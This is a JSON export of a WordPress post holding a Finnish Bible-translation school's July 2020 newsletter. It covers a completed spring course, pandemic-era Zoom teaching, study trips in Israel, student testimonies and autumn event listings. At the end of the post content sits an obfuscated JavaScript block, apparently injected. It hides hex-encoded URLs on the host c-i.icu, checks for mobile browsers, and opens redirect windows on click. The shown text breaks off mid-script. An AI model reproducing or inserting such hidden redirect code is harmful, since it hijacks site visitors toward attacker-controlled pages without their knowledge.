{"id":1669,"date":"2020-07-02T13:11:48","date_gmt":"2020-07-02T11:11:48","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=1669"},"modified":"2020-07-02T13:11:48","modified_gmt":"2020-07-02T11:11:48","slug":"raamattukodin-pitka-kevatkurssi-on-saatu-paatokseen","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=1669","title":{"rendered":"Raamattukodin pitk\u00e4 kev\u00e4tkurssi on saatu p\u00e4\u00e4t\u00f6kseen"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset-1024x572.jpeg\" alt=\"\" class=\"wp-image-1670\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset-1024x572.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset-300x168.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset-768x429.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset-1536x859.jpeg 1536w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Kurssin-p\u00e4\u00e4tt\u00e4j\u00e4iset.jpeg 2000w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Kev\u00e4\u00e4n 2020 kurssilaiset p\u00e4\u00e4tt\u00e4j\u00e4isp\u00e4iv\u00e4n\u00e4 30.6.<\/figcaption><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Raamattukodin yst\u00e4v\u00e4kirjeen 6\/2020 sis\u00e4lt\u00f6:<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>Mirja ja Halvor Ronningin tervehdys<\/li><li>Ronit Maoz Suomessa 11.-18.11.<\/li><li>Syksyn muita tilaisuuksia<\/li><li>Raamattukodin yst\u00e4v\u00e4t -ohjelma Radio Patmoksessa<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Rakkaat yst\u00e4v\u00e4t<\/h4>\n\n\n\n<p>On aika juhlia! Raamattukodin kev\u00e4tlukukauden 2020 viiden kuukauden pituinen kurssi on saatu hyv\u00e4\u00e4n p\u00e4\u00e4t\u00f6kseen \u2013 kaikesta huolimatta. Todistustenjakotilaisuus yliopistolla tapahtui koronarajoitukset istumaj\u00e4rjestelyiss\u00e4 huomioituna. Ilmapiiri oli juhlava ja kiitollinen, ett\u00e4 oltiin p\u00e4\u00e4sty t\u00e4h\u00e4n vaiheeseen. Yliopiston virallinen edustaja piti l\u00e4mpim\u00e4n puheen ja totesi Raamattukodin 25 vuoden opintojen merkityksen monille kansoille. T\u00e4m\u00e4n j\u00e4lkeen h\u00e4n ojensi yliopiston todistukset jokaiselle erikseen k\u00e4dentaputusten saattamana.<\/p>\n\n\n\n<p><strong>Koronakev\u00e4\u00e4n opinnot ja retket<\/strong><\/p>\n\n\n\n<p>Maaliskuun puolestav\u00e4list\u00e4 alkaen koronavirus toi monia rajoituksia, mutta ei lannistanut mielt\u00e4 ja intoa, ei oppilaiden, eik\u00e4 luennoitsijoiden. On aivan selv\u00e4\u00e4, ett\u00e4 ilman rukoustukea ja Herran suurta armoa ja suojelua, t\u00e4m\u00e4 merkitt\u00e4v\u00e4 kurssi ei olisi voinut jatkua viikosta toiseen keskeytyksett\u00e4 kes\u00e4kuun loppuun asti opinto-ohjelman mukaisesti. Kiitos esirukoilijoille! Kolme Vanhan testamentin heprealaisen tekstiin liittyv\u00e4\u00e4 kurssia opetettiin Zoom-nettiyhteyden kautta oppilaille, jotka olivat tietokoneineen hirsikodilla. N\u00e4in teki yliopiston luennoitsija Jerusalemissa huhtikuussa. Samoin toukokuun kurssin luennoitsija Etel\u00e4-Koreasta ja kes\u00e4kuun luennoitsija Englannista, jotka olisivat muuten lent\u00e4neet Israeliin opettamaan.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/viiniryp\u00e4leiden-polkemista.jpeg\" alt=\"\" class=\"wp-image-1671\" width=\"184\" height=\"223\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/viiniryp\u00e4leiden-polkemista.jpeg 791w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/viiniryp\u00e4leiden-polkemista-247x300.jpeg 247w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/viiniryp\u00e4leiden-polkemista-768x932.jpeg 768w\" sizes=\"auto, (max-width: 184px) 100vw, 184px\" \/><figcaption>Ronit Maoz havainnollisti oppilaiden kanssa kuinka viiniryp\u00e4leet poljettiin jaloin.<\/figcaption><\/figure><\/div>\n\n\n\n<p>Korona rajoitti my\u00f6s Raamatun maan retki\u00e4 parin kuukauden ajan. Onneksi viimeisten viikkojen aikana p\u00e4\u00e4stiin Galileaan, Samariaan ja Negeviin sek\u00e4 luontoretkelle <strong>Ronit Maozin<\/strong> kanssa. Ohessa muutamia kohokohtia niist\u00e4.<\/p>\n\n\n\n<p>Ronitin vet\u00e4m\u00e4ll\u00e4 nelj\u00e4n p\u00e4iv\u00e4n luontokurssilla k\u00e4ytiin mm. Neot Kedumimin raamatulisella luonnonsuojelualueella. \u201cTutustuimme siell\u00e4 k\u00e4yt\u00e4nn\u00f6nl\u00e4heisesti Raamatun ajan paimenen ty\u00f6h\u00f6n\u201d, Ronit kertoo. \u201dPerehdyimme maanviljelykseen ja eri vuodenaikojen vaikutukseen sek\u00e4 maan seitsem\u00e4\u00e4n t\u00e4rke\u00e4\u00e4n kasvilajiin (5. Moos. 8:8). Saimme koskettaa, haistaa ja maistaa jokaista. Viinipuristamossa j\u00e4ljittelimme sit\u00e4, miten ryp\u00e4leit\u00e4 poljettiin jaloin, kuten Jesaja ja Jeremia kuvaavat. Oliivilehdossa tarkastelimme ikivihreit\u00e4 puita ja pieni\u00e4 oliiveja ja yritimme py\u00f6ritt\u00e4\u00e4 painavia \u00f6ljynpuristamon kivi\u00e4. Lopuksi maistelimme paahdettua vehn\u00e4\u00e4, hepreaksi\u00a0<em>kali<\/em>, ja muistelimme Booasin ja Ruutin tarinaa. Etiopialainen opiskelijamme ilahtui, kun h\u00e4n oivalsi, ett\u00e4 heill\u00e4 amharaksi kutsuttu\u00a0<em>kulu<\/em>\u00a0on samaa kuin t\u00e4m\u00e4\u00a0<em>kali<\/em>. P\u00e4iv\u00e4n p\u00e4\u00e4tteeksi tutustuimme tooran j\u00e4ljent\u00e4j\u00e4n ty\u00f6h\u00f6n.\u201d<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ilmestysmaja-708x1024.jpeg\" alt=\"\" class=\"wp-image-1672\" width=\"177\" height=\"255\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ilmestysmaja-708x1024.jpeg 708w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ilmestysmaja-768x1111.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ilmestysmaja-1061x1536.jpeg 1061w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ilmestysmaja.jpeg 1080w\" sizes=\"auto, (max-width: 177px) 100vw, 177px\" \/><figcaption>Ilmestysmaja ja sen edess\u00e4 oleva uhrialttari.<\/figcaption><\/figure><\/div>\n\n\n\n<p>Intialainen&nbsp;<strong>Reeja<\/strong>&nbsp;kertoo retkest\u00e4 Siiloon: \u201dOlen hyvin kiitollinen Jumalalle, ett\u00e4 sain vierailla t\u00e4ss\u00e4 paikassa, miss\u00e4 ilmestysmaja oli satoja vuosia. Hengellisesti t\u00e4m\u00e4 paikka oli minulle t\u00e4rkein kaikista vierailukohteistamme. Minua kosketti syv\u00e4sti se, kuinka Jumala johdatti israelilaiset luvattuun maahan Joosuan johdolla ja ilmestysmaja pystytettiin ensimm\u00e4isen kerran sinne (Joosua 18:1\u20129) ja se miten maan valloitus jatkui ja heimot levitt\u00e4ytyiv\u00e4t eri puolille maata, mutta tulivat kolme kertaa vuodessa Siiloon viett\u00e4m\u00e4\u00e4n juhlaa Herran edess\u00e4. Voin vain kuvitella millainen juhla se onkaan ollut. Muistin siell\u00e4 my\u00f6s Hannan ja h\u00e4nen kuuliaisen poikansa Samuelin (1. Samuel 1), Eelin pahat pojat Hofnin ja Piinehasin ja sen miten tuo paikka tuhoutui. Se muistuttaa minua j\u00e4lleen siit\u00e4, kuka Jumala on, miten pyh\u00e4 h\u00e4n on ja miten meid\u00e4n tulisi palvella h\u00e4nt\u00e4 pelolla ja vavisten.\u201d<\/p>\n\n\n\n<p><strong>Arkiel\u00e4m\u00e4\u00e4 kodissa<\/strong><\/p>\n\n\n\n<p>El\u00e4m\u00e4 hirsikodissa 14-hengen perhekuntana, 13 opiskelijaa ja kuskimme&nbsp;<strong>Beni<\/strong>, on oma lukunsa. Se on ollut l\u00e4mmint\u00e4 ja virke\u00e4\u00e4 yhteisel\u00e4m\u00e4\u00e4. Vapaaehtoisten l\u00e4hdetty\u00e4 29.3. opiskelijat p\u00e4\u00e4ttiv\u00e4t, ett\u00e4 he hoitavat kodinhoidon itse suomalaisilta saamansa hyv\u00e4n mallin mukaan.<\/p>\n\n\n\n<p>Yhden p\u00e4\u00e4aterian teki p\u00e4ivitt\u00e4in vuorotellen kaksi perheen\u00e4iti\u00e4 Jad Hashmonasta, mutta opiskelijat hoitivat ateriat aamuin ja illoin j\u00e4rjest\u00e4ytyen tiimeihin. Nopeaa ja iloista hommaa oli hauska katsella, niinp\u00e4 kys\u00e4isin kerran: &#8220;Kuinka monta henkil\u00f6\u00e4 voi samanaikaisesti pest\u00e4 astioita pieness\u00e4 keitti\u00f6ss\u00e4?&#8221; Aterioiden j\u00e4lkeen kaikki n\u00e4yttiv\u00e4t olevan sulloutuneina keitti\u00f6\u00f6n tekem\u00e4\u00e4n jotain. Joku pesi astiaa hanan alla, joku t\u00e4ytti astianpesukonetta tai pakkasi j\u00e4ljelle j\u00e4\u00e4nytt\u00e4 salaattia j\u00e4\u00e4kaappiin, joku lakaisi lattiaa &#8220;niin kuin suomalaiset opettivat&#8221;, ja nauru raikui ja huumori kukki. Joukko on ollut yht\u00e4 perhett\u00e4, vaikka opiskelijat tulevat yhdeks\u00e4st\u00e4 eri maasta ja kulttuurista. Yhteyden luo se, ett\u00e4 kaikkia yhdist\u00e4\u00e4 sama p\u00e4\u00e4m\u00e4\u00e4r\u00e4: palvella Herraa kokosyd\u00e4misesti teht\u00e4v\u00e4ss\u00e4, jonka Herra on kullekin osoittanut.\u00a0<\/p>\n\n\n\n<p><strong>Opiskelijoiden tarinat<\/strong><\/p>\n\n\n\n<p>Olemme kuulleet 13 opiskelijan tarinat. Jokaisella on kokemuksensa siit\u00e4, miten he antoivat el\u00e4m\u00e4ns\u00e4 Herran palvelukseen ja miten H\u00e4n on johtanut heid\u00e4t ty\u00f6h\u00f6n, joka nyt t\u00e4ytt\u00e4\u00e4 heid\u00e4n el\u00e4m\u00e4ns\u00e4 kokonaan, palvelemaan kansoja, jotka eiv\u00e4t osaa muuta kuin \u00e4idinkielt\u00e4\u00e4n. T\u00e4m\u00e4 joukko edustaa raamatunk\u00e4\u00e4nn\u00f6sty\u00f6t\u00e4 mm. Himalajan juurilla, Madagaskarissa, Malesiassa, Etiopiassa, It\u00e4-Intiassa, Burkina Fasossa, Tansaniassa.\u00a0<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Malila-UT.jpeg\" alt=\"\" class=\"wp-image-1673\" width=\"177\" height=\"215\"\/><figcaption>Malilankielinen Uusi testamentti on valmistunut.<\/figcaption><\/figure><\/div>\n\n\n\n<p>Tansanialainen k\u00e4\u00e4nt\u00e4j\u00e4&nbsp;<strong>Lukas<\/strong>&nbsp;sai kurssin aikana k\u00e4\u00e4nn\u00f6stiimilt\u00e4\u00e4n kuvan valmistuneesta ja juuri tulostetusta malilankielisest\u00e4 Uudesta testamentista. H\u00e4n on ollut mukana sen k\u00e4\u00e4nn\u00f6stiimiss\u00e4 11 vuotta.<br>&#8220;Suuri osa kansasta ei ymm\u00e4rr\u00e4 hausaa eik\u00e4 englantia, vaikka ne ovat maan virallisia kieli\u00e4. Nyt tilanne muuttuu. Edess\u00e4 on suuret juhlat, kun palaan. Ihmiset saavat Jumalan sanaa omalla kielell\u00e4\u00e4n, syd\u00e4men kielell\u00e4. Nyt tartumme Vanhan testamentin k\u00e4\u00e4nt\u00e4miseen,\u201d Lukas iloitsi.<\/p>\n\n\n\n<p>Nigerialainen\u00a0<strong>Daniel\u00a0<\/strong>kertoi kotimaastaan, jossa islamistinen terroristij\u00e4rjest\u00f6 Boko Haram ja fulani-terroristit hy\u00f6kk\u00e4\u00e4v\u00e4t kristittyjen kyliin ja tappavat ja polttavat kyl\u00e4kuntia. Presidentti on fulani-muslimi, samoin poliisivoimat. Rukoillaan Herran suojelua ja uskon vahvistusta Nigerian kristityille! Fulani-musliminuoret tarvitsevat rakkauden sanoman omalla kielell\u00e4\u00e4n. Eri fulanikielen murteiden k\u00e4\u00e4nn\u00f6sty\u00f6 onkin meneill\u00e4\u00e4n. Raamattukodilla on opiskellut nelj\u00e4 entist\u00e4 fulani-muslimia eri maista. Yksi suurimmista hankkeista on juuri Nigeriassa ja se valmistuu pian. Taistelu pimeyden ja valkeuden v\u00e4lill\u00e4 on kiivas joka puolella maailmaa.<\/p>\n\n\n\n<p><strong>Loppusanat&nbsp;<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/voikukka-Dreamstime-1024x683.jpeg\" alt=\"\" class=\"wp-image-1674\" width=\"228\" height=\"151\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/voikukka-Dreamstime-1024x683.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/voikukka-Dreamstime-300x200.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/voikukka-Dreamstime-768x512.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/voikukka-Dreamstime.jpeg 1500w\" sizes=\"auto, (max-width: 228px) 100vw, 228px\" \/><figcaption>\u00a9 Creative Commons Zero (CC0)<\/figcaption><\/figure><\/div>\n\n\n\n<p>Vuoden 2020 k\u00e4\u00e4nt\u00e4j\u00e4mme palaavat pian vartiopaikoilleen kuin siemenet tuulessa. Rukoillaan, ett\u00e4 siemenet l\u00f6yt\u00e4v\u00e4t hyv\u00e4n maaper\u00e4n ja kolmenkymmenen, viisikymmenisen tai satakertaisen sadon Jumalan elopelloilla.<\/p>\n\n\n\n<p>Kiitos mukanaolostanne t\u00e4ss\u00e4 ty\u00f6ss\u00e4.&nbsp;<\/p>\n\n\n\n<p><em><strong>Herran armon varassa,<\/strong><\/em><\/p>\n\n\n\n<p><em><strong>Mirja ja Halvor<\/strong><\/em><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">*****<br><br>Marraskuussa mielenkiintoinen kiertue<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ronit-Maoz.jpeg\" alt=\"\" class=\"wp-image-1676\" width=\"222\" height=\"222\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ronit-Maoz.jpeg 664w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ronit-Maoz-300x300.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2020\/07\/Ronit-Maoz-150x150.jpeg 150w\" sizes=\"auto, (max-width: 222px) 100vw, 222px\" \/><\/figure><\/div>\n\n\n\n<p>Saamme vieraaksi\u00a0<strong>Ronit Maozin<\/strong>, Raamatun maan kasvien ja maanviljelystapojen asiantuntijan. H\u00e4n toimii Israelin virallisena oppaana ja on yksi Raamattukodin vakituisista luennoitsijoista. Ronit on innostava ja eloisa puhuja. H\u00e4n avaa uusia n\u00e4k\u00f6kulmia Raamatun tekstiin. Laita jo nyt kalenteriin p\u00e4iv\u00e4m\u00e4\u00e4r\u00e4t 11.\u201218.11. Kuopion helluntaiseurakunnassa j\u00e4rjestet\u00e4\u00e4n 14.\u201215.11. Raamattuviikonloppu, jossa ovat mukana my\u00f6s Halvor ja Mirja Ronning.\u00a0<br><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=799\" target=\"_blank\" rel=\"noreferrer noopener\">Kiertueohjelmaa p\u00e4ivitet\u00e4\u00e4n nettisivulle.<\/a><\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Raamattukodin muut tilaisuudet syyskaudella<\/h4>\n\n\n\n<p>Seuraamme viranomaisten ohjeistusta kokoontumisista. Seuraathan ohjelman p\u00e4ivittymist\u00e4 Raamattukodin nettisivulla.&nbsp;<\/p>\n\n\n\n<p>Mik\u00e4li haluat Ulla J\u00e4rvilehdon, Virpi Leinon, Kaija Turusen, John Remeksen tai Maarit Kattilakosken puhujavieraiksi paikkakunnallesi, ota yhteytt\u00e4 Maaritiin, joka organisoi kiertueita ja tilaisuuksia. S\u00e4hk\u00f6postitse raamattukoti@gmail.com tai puhelimitse 044 265 4739<\/p>\n\n\n\n<p>ma 31.8. klo 18.00 Vesilahti, Narvan Kyl\u00e4kirkko, Ketolankatu 4, Vesilahti \u2013 Ulla ja Maarit<br>ke 9.9. klo 18.00 Nokia, Helluntaiseurakunta, V\u00e4lim\u00e4enkatu 8 \u2013 Virpi ja Maarit<br>su 13.9.\u00a0klo 14.00\u00a0Parkano,\u00a0Vapaaseurakunta, Satakunnankatu 32\u00a0\u2013\u00a0Ulla ja Maarit<br>ke 14.10. klo 18.00 Nokia, Helluntaiseurakunta, V\u00e4lim\u00e4enkatu 8 \u2013 Kaija ja Maarit<br>to 15.10. klo 18.00 M\u00e4ntt\u00e4, Helluntaiseurakunta, Rusinniementie 2 \u2013 Kaija ja Maarit<br>su 18.10. klo 13.00 &amp; 15.00 Suolahti, Helluntaiseurakunta, Niemel\u00e4nkatu 5 \u2013 Kaija ja Maarit<br>ke 11.11. klo 18.00 Nokia, Helluntaiseurakunta, V\u00e4lim\u00e4enkatu 8 \u2013 Mirja ja Halvor Ronning<\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Raamattukodin ty\u00f6 esill\u00e4 Radio Patmoksessa<\/h4>\n\n\n\n<p><em>Raamattukodin yst\u00e4v\u00e4t<\/em>&nbsp;-niminen ohjelma on kuultavissa Radio Patmoksessa kes\u00e4n ajan parittoman viikon perjantaina klo 16.00 uutisten j\u00e4lkeen. Ohjelma uusitaan lauantaina klo 12.30. Hein\u00e4kuussa haastateltavina mm. Soili ja Aulis Voutilainen (3.7.) ja Ulla J\u00e4rvilehto (17.7.).&nbsp;<\/p>\n\n\n\n<p>Ohjelman voi kuunnella Radio Patmoksen radiotaajuuksilta sek\u00e4 nettisivulta.<br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.patmos.fi\/radio-patmos\/web-player\/\" target=\"_blank\">Voit kuunnella ohjelman Radio Patmoksen nettisivulta t\u00e4st\u00e4 linkist\u00e4. <\/a><\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Suomen toimistomme on suljettuna 6.\u201231.7.<\/h4>\n\n\n\n<p>Koordinaattori Maarit Kattilakoski on lomalla 6.\u201231.7. Kiireellisiss\u00e4 tilanteissa yhteydenotot puheenjohtajaan John Remekseen, john.remes (at) pp.inet.fi.<\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Kiitos tuestasi Raamattukodin ty\u00f6lle<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg\" alt=\"\" class=\"wp-image-1064\" width=\"210\" height=\"139\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-300x200.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-768x512.jpg 768w\" sizes=\"auto, (max-width: 210px) 100vw, 210px\" \/><\/figure><\/div>\n\n\n\n<p>Raamattukoti toimii yksityisten lahjoitusten ja vapaaehtoisty\u00f6n varassa. Ne mahdollistavat Raamattukodin toiminnan ja ovat Jumalan suurta siunausta ja armoa.\u00a0<br><a rel=\"noreferrer noopener\" href=\"https:\/\/fin.bibletranslators.org\/?page_id=75\" target=\"_blank\">Klikkaa tarkemmat tiedot t\u00e4st\u00e4.<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const 